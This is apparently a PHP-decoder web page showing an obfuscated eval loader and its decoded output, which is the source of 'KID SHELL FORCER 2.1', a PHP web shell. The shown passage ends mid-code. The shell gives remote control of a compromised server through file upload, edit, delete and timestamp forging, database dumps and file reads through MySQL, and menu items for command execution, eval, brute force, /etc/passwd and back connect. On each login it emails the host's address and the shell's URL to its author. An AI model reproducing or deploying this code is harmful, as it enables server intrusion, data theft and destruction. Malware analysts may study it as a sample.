Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? $fsahhsbj='edoced_46esab';$xbmtbknb=strrev($fsahhsbj);$pjxkwjsf='gzinflate';eval($pjxkw..
Decoded Output download
?><?php
/****************************************\
|* KID SHELL FORCER - VERSION 2.1 *|
|* Edit & Develop by Mr.Kid *|
|* [url]http://mr-kid.tv[/url] *|
|* == Hacking & Security == *|
\****************************************/
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);
foreach(array('_GET','_POST') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != '_') {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}
/*================= Info Login ================*/
$admin = array();
$admin['check'] = true;
$admin['pass'] = '7love'; // Password login
$admin['cookiepre'] = '';
$admin['cookiedomain'] = '';
$admin['cookiepath'] = '/';
$admin['cookielife'] = 86400;
/*===================== End =====================*/
if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
header("content-Type: text/html; charset=iso-8859-2");
}
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== Login =====================*/
if ($action == "logout") {
scookie('vbapass', '', -86400 * 365);
p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
p('<body background=http://i1220.photobucket.com/albums/dd460/mrlehieuit/mrkid/mrkid.gif>');
exit;
}
if($admin['check']) {
if ($doing == 'login') {
if ($admin['pass'] == $password) {
scookie('vbapass', $password);
// Function mail Sender to my Email
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = '[email protected]';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
p('<body background=http://i1220.photobucket.com/albums/dd460/mrlehieuit/mrkid/mrkid.gif>
<BR><BR><div align=center><font color=yellow face=tahoma size=2>Welcome back! - Please wait...<BR><img src=http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif></div>');
exit;
}
else
{
$err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
echo $err_mess;
}}
if ($_COOKIE['vbapass']) {
if ($_COOKIE['vbapass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== Login =====================*/
$errmsg = '';
if ($action == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
} else {
$errmsg = 'phpinfo() function has non-permissible';
}
}
if ($doing == 'downfile' && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$fileinfo = pathinfo($thefile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header('Content-Length: '.filesize($thefile));
@readfile($thefile);
exit;
}
}
if ($doing == 'backupmysql' && !$saveasfile) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
$result = q("SHOW tables");
if (!$result) p('<h2>'.mysql_error().'</h2>');
$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata .= sqldumptable($currow[0]);
}
}
mysql_close();
exit;
}
// Mysql
if($doing=='mysqldown'){
if (!$dbname) {
$errmsg = 'Please input dbname';
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$result = q("select load_file('$mysqldlfile');");
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//Download SQL
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = 'Load file failed '.mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header("Accept-Length: ".strlen($row[0]));
echo $row[0];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script type="text/javascript">
//Created by Title bar [BYG] Kid
function tb4_makeArray(n){
this.length = n;
return this.length;
}
tb4_messages = new tb4_makeArray(1);
tb4_messages[0] = "Kid SHELL - Develop by BYG Kid";
tb4_rptType = 'infinite';
tb4_rptNbr = 5;
tb4_speed = 100;
tb4_inputDelay = 2000;
var tb4_counter = 1;
var tb4_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopwrstuvwxyz.";
var tb4_pogodjenih = 0;
var tb4_stsmsg = "";
var tb4_currMsg = 0;
var tb4_timer = null;
var tb4_mozeDalje=true;
function tb4_addChar(ch){
if (tb4_chars.search(ch) == -1){
tb4_chars=tb4_chars+ch;
}
}
for (var i=0; i<tb4_messages.length; i++){
for (var j=0; j<tb4_messages[i].length; j++)
tb4_addChar(tb4_messages[i].charAt(j));
}
function tb4_shuffle(arr){
var k;
for (i=0; i<arr.length; i++){
k = Math.round(Math.random() * (arr.length - i - 1)) + i;
temp = arr[i];arr[i]=arr[k];arr[k]=temp;
}
return arr;
}
tb4_arr = new tb4_makeArray(tb4_messages[tb4_currMsg].length);
tb4_sts = new tb4_makeArray(tb4_messages[tb4_currMsg].length);
for (var i=0; i<tb4_messages[tb4_currMsg].length; i++){
tb4_arr[i] = i;
}
tb4_arr = tb4_shuffle(tb4_arr);
for (var i=0; i<tb4_messages[tb4_currMsg].length; i++){
tb4_sts[i] = tb4_messages[tb4_currMsg].charAt(tb4_arr[i]);
}
function tb4_setChar(k){
r = Math.round(Math.random() * tb4_chars.length);
tb4_sts[k] = tb4_chars.charAt(r);
tb4_stsmsg = "";
for (var i=0; i<tb4_sts.length; i++)
tb4_stsmsg += tb4_sts[i];
document.title = tb4_stsmsg;
if (tb4_chars.charAt(r) == tb4_messages[tb4_currMsg].charAt(k)){
tb4_stsmsg = "";
for (var i=0; i<tb4_sts.length; i++)
tb4_stsmsg += tb4_sts[i];
document.title = tb4_stsmsg;
tb4_pogodjenih++;
return;
}
setTimeout("tb4_setChar("+k+")", tb4_speed);
}
function tb4_init(k){
if (tb4_mozeDalje){
for (var k=0; k<tb4_messages[tb4_currMsg].length; k++){
tb4_msgchar = tb4_messages[tb4_currMsg].charAt(k);
tb4_setChar(k);
}
tb4_mozeDalje=false;
tb4_delay=200;
}
if (tb4_pogodjenih == tb4_messages[tb4_currMsg].length){
if (tb4_currMsg == tb4_messages.length-1){
if ((tb4_rptType == 'finite') && (tb4_counter==tb4_rptNbr)){
clearTimeout(tb4_timer);
return;
}
tb4_currMsg=0;
tb4_counter++;
}
else{
tb4_currMsg++;
}
tb4_arr = new tb4_makeArray(tb4_messages[tb4_currMsg].length);
tb4_sts = new tb4_makeArray(tb4_messages[tb4_currMsg].length);
for (var i=0; i<tb4_messages[tb4_currMsg].length; i++){
tb4_arr[i] = i;
tb4_mozeDalje=true;
tb4_pogodjenih=0;
tb4_delay=tb4_inputDelay;
}
tb4_arr = tb4_shuffle(tb4_arr);
for (var i=0; i<tb4_messages[tb4_currMsg].length; i++){
tb4_sts[i] = tb4_messages[tb4_currMsg].charAt(tb4_arr[i]);
}
}
tb4_timer = setTimeout("tb4_init(0)", tb4_delay);
}
function tb4_picktitle(){
tb4_init(0);
}
tb4_picktitle()
</script>
<title></title>
<link rel='SHORTCUT ICON' type='image/x-icon' href='http://i1220.photobucket.com/albums/dd460/mrlehieuit/th_big_kid.gif'>
<style type="text/css">
body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
a {color: #74A202;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
font-size: 9pt;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
border-left: 1px solid #74A202;
border-top: 1px solid #74A202;
border-right: 1px solid #74A202;
border-bottom: 1px solid #74A202;
}
select
{
font-size: 8pt;
font-weight: normal;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
}
</style>
<object width="300" height="61"><param name="movie" value="http://static.mp3.zing.vn/skins/mp3_main/flash/player/mp3Player_skin1.swf?xmlurl=http://mp3.zing.vn/blog?NC8yNi80MjY1NWUxNjY0N2Y2NzMwZjJlOWIxZmY5YjhmZDViYi5cUIbaBmUsICDN8w4FdUngaCDEkMOoWeBiBTw6JdUngIEcUIbaBo4WeBqldXxBWeBmRyZWUgIGZ0LiAgTHldUngayBMZWV8fDE" /><param name="quality" value="high" /><param name="wmode" value="transparent" /><embed width="300" height="61" src="http://static.mp3.zing.vn/skins/mp3_main/flash/player/mp3Player_skin1.swf?xmlurl=http://mp3.zing.vn/blog?NC8yNi80MjY1NWUxNjY0N2Y2NzMwZjJlOWIxZmY5YjhmZDViYi5cUIbaBmUsICDN8w4FdUngaCDEkMOoWeBiBTw6JdUngIEcUIbaBo4WeBqldXxBWeBmRyZWUgIGZ0LiAgTHldUngayBMZWV8fDE" quality="high" wmode="transparent" type="application/x-shockwave-flash"></embed></object><br />
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$('goaction').action.value=act;
$('goaction').submit();
}
</script>
</head>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i1220.photobucket.com/albums/dd460/mrlehieuit/mrkid/mrkid.gif>
<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
<tr>
<td align="center" valign=center>
<div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
</div>
</td>
</tr>
</table>
</div>
<script>
var ld=(document.all);
var ns4=document.layers;
var ns6=document.getElementById&&!document.all;
var ie4=document.all;
if (ns4)
ld=document.loading;
else if (ns6)
ld=document.getElementById("loading").style;
else if (ie4)
ld=document.all.loading.style;
function init()
{
if(ns4){ld.visibility="hidden";}
else if (ns6||ie4) ld.display="none";
}
</script>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head_small">
<td width=100%>
<table width=100%><tr class="head_small"><td width=86px><a title="Kevin Shell" href="<?php $self;?>"><img src=http://i1220.photobucket.com/albums/dd460/mrlehieuit/kidshaker.gif height=172 border=0></a></td><td>
<span style="float:right;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="http://mr-kid.tv" target="_blank"><?php echo str_replace('.','','[.B.Y.G.] Kid');?> Version 2.0</a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span>
<?php
$curl_on = @function_exists('curl_version');
$mysql_on = @function_exists('mysql_connect');
$mssql_on = @function_exists('mssql_connect');
$pg_on = @function_exists('pg_connect');
$ora_on = @function_exists('ocilogon');
echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
echo "PHP version: <b>".@phpversion()."</b> - ";
echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
?>
</td></tr></table></td>
</tr>
<tr class="alt1">
<td width=100%><span style="float:right;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>
<a href="javascript:goaction('file');">File Manager</a> |
<a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
<a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
<a href="javascript:goaction('shell');">Execute Command</a> |
<a href="javascript:goaction('phpenv');">PHP Variable</a> |
<a href="javascript:goaction('eval');">Eval PHP Code</a>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
// Dir function
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
$dir = $dir.'/';
}
$uedir = ue($dir);
if (!$action || $action == 'file') {
// Non-writeable
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
// Delete dir
if ($doing == 'deldir' && $thefile) {
if (!file_exists($thefile)) {
m($thefile.' directory does not exist');
} else {
m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
}
}
// Create new dir
elseif ($newdirname) {
$mkdirs = $nowpath.$newdirname;
if (file_exists($mkdirs)) {
m('Directory has already existed');
} else {
m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
@chmod($mkdirs,0777);
}
}
// Upload file
elseif ($doupfile) {
m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
}
// Edit file
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,'w');
m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
@fclose($fp);
}
// Modify
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('The original file does not exist');
} else {
$newperm = base_convert($newperm,8,10);
m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
}
}
// Rename
elseif ($oldname && $newfilename) {
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.' has already existed or original file does not exist');
} else {
m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
}
}
// Copu
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('The goal file has already existed or original file does not exist');
} else {
m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
}
}
// File exit
elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m('The goal file has already existed or original file does not exist');
} else {
$time = @filemtime($tarfile);
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// Date
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile).' does not exist');
} else {
$time = strtotime("$year-$month-$day $hour:$minute:$second");
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// Download
elseif($doing == 'downrar') {
if ($dl) {
$dfiles='';
foreach ($dl as $filepath => $value) {
$dfiles.=$filepath.',';
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(',',$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header('Content-type: application/octet-stream');
header('Accept-Ranges: bytes');
header('Accept-Length: '.strlen($code));
header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
echo $code;
exit;
} else {
m('Please select file(s)');
}
}
// Delete file
elseif($doing == 'delfiles') {
if ($dl) {
$dfiles='';
$succ = $fail = 0;
foreach ($dl as $filepath => $value) {
if (@unlink($filepath)) {
$succ++;
} else {
$fail++;
}
}
m('Deleted file have finishedchoose '.count($dl).' success '.$succ.' fail '.$fail);
} else {
m('Please select file(s)');
}
}
// Function Newdir
formhead(array('name'=>'createdir'));
makehide('newdirname');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileperm'));
makehide('newperm');
makehide('pfile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'copyfile'));
makehide('sname');
makehide('tofile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'rename'));
makehide('oldname');
makehide('newfilename');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileopform'));
makehide('action');
makehide('opfile');
makehide('dir');
formfoot();
$free = @disk_free_space($nowpath);
!$free && $free = 0;
$all = @disk_total_space($nowpath);
!$all && $all = 0;
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){
var newdirname;
newdirname = prompt('Please input the directory name:', '');
if (!newdirname) return;
$('createdir').newdirname.value=newdirname;
$('createdir').submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
if (!newperm) return;
$('fileperm').newperm.value=newperm;
$('fileperm').pfile.value=pfile;
$('fileperm').submit();
}
function copyfile(sname){
var tofile;
tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
if (!tofile) return;
$('copyfile').tofile.value=tofile;
$('copyfile').sname.value=sname;
$('copyfile').submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
if (!newfilename) return;
$('rename').newfilename.value=newfilename;
$('rename').oldname.value=oldname;
$('rename').submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$('filelist').doing.value=doing;
if (thefile){
$('filelist').thefile.value=thefile;
}
$('filelist').submit();
}
function createfile(nowpath){
var filename;
filename = prompt('Please input the file name:', '');
if (!filename) return;
opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$('fileopform').action.value=action;
$('fileopform').opfile.value=opfile;
$('fileopform').dir.value=dir;
$('fileopform').submit();
}
function godir(dir,view_writable){
if (view_writable) {
$('godir').view_writable.value=1;
}
$('godir').dir.value=dir;
$('godir').submit();
}
</script>
<?php
tbhead();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
if ($view_writable) {
p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
} else {
p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
}
p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
if (IS_WIN && IS_COM) {
$obj = new COM('scripting.filesystemobject');
if ($obj && is_object($obj)) {
$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
foreach($obj->Drives as $drive) {
if ($drive->DriveType == 2) {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
Free:'.sizecount($drive->FreeSpace).'
Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
} else {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
}
}
}
}
p('</td></tr></form>');
p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
// Get path
$dirdata=array();
$filedata=array();
if ($view_writable) {
$dirdata = GetList($nowpath);
} else {
// Open dir
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$filepath=$nowpath.$file;
if(@is_dir($filepath)){
$dirdb['filename']=$file;
$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$dirdb['dirchmod']=getChmod($filepath);
$dirdb['dirperm']=getPerms($filepath);
$dirdb['fileowner']=getUser($filepath);
$dirdb['dirlink']=$nowpath;
$dirdb['server_link']=$filepath;
$dirdb['client_link']=ue($filepath);
$dirdata[]=$dirdb;
} else {
$filedb['filename']=$file;
$filedb['size']=sizecount(@filesize($filepath));
$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$filedb['filechmod']=getChmod($filepath);
$filedb['fileperm']=getPerms($filepath);
$filedb['fileowner']=getUser($filepath);
$filedb['dirlink']=$nowpath;
$filedb['server_link']=$filepath;
$filedb['client_link']=ue($filepath);
$filedata[]=$filedb;
}
}// while
unset($dirdb);
unset($filedb);
@closedir($dirs);
}
@sort($dirdata);
@sort($filedata);
$dir_i = '0';
foreach($dirdata as $key => $dirdb){
if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
p('<td nowrap>'.$dirdb['mtime'].'</td>');
p('<td nowrap>--</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
p('</tr>');
$dir_i++;
} else {
if($dirdb['filename']=='..') {
p('<tr class=fout>');
p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
p('</tr>');
}
}
}
p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
makehide('action','file');
makehide('thefile');
makehide('doing');
makehide('dir',$nowpath);
$file_i = '0';
foreach($filedata as $key => $filedb){
if($filedb['filename']!='..' && $filedb['filename']!='.') {
$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
p('<td nowrap>'.$filedb['mtime'].'</td>');
p('<td nowrap>'.$filedb['size'].'</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
p('<td nowrap>');
p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
p('</td></tr>');
$file_i++;
}
}
p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
p('</form></table>');
}// end dir
elseif ($action == 'sqlfile') {
if($doing=="mysqlupload"){
$file = $_FILES['uploadfile'];
$filename = $file['tmp_name'];
if (file_exists($savepath)) {
m('The goal file has already existed');
} else {
if(!$filename) {
m('Please choose a file');
} else {
$fp=@fopen($filename,'r');
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents = bin2hex($contents);
if(!$upname) $upname = $file['name'];
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$('doing').value=doing;
$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
$('mysqlfile').charset.value=$('dbinfo').charset.value;
$('mysqlfile').submit();
}
</script>
<?php
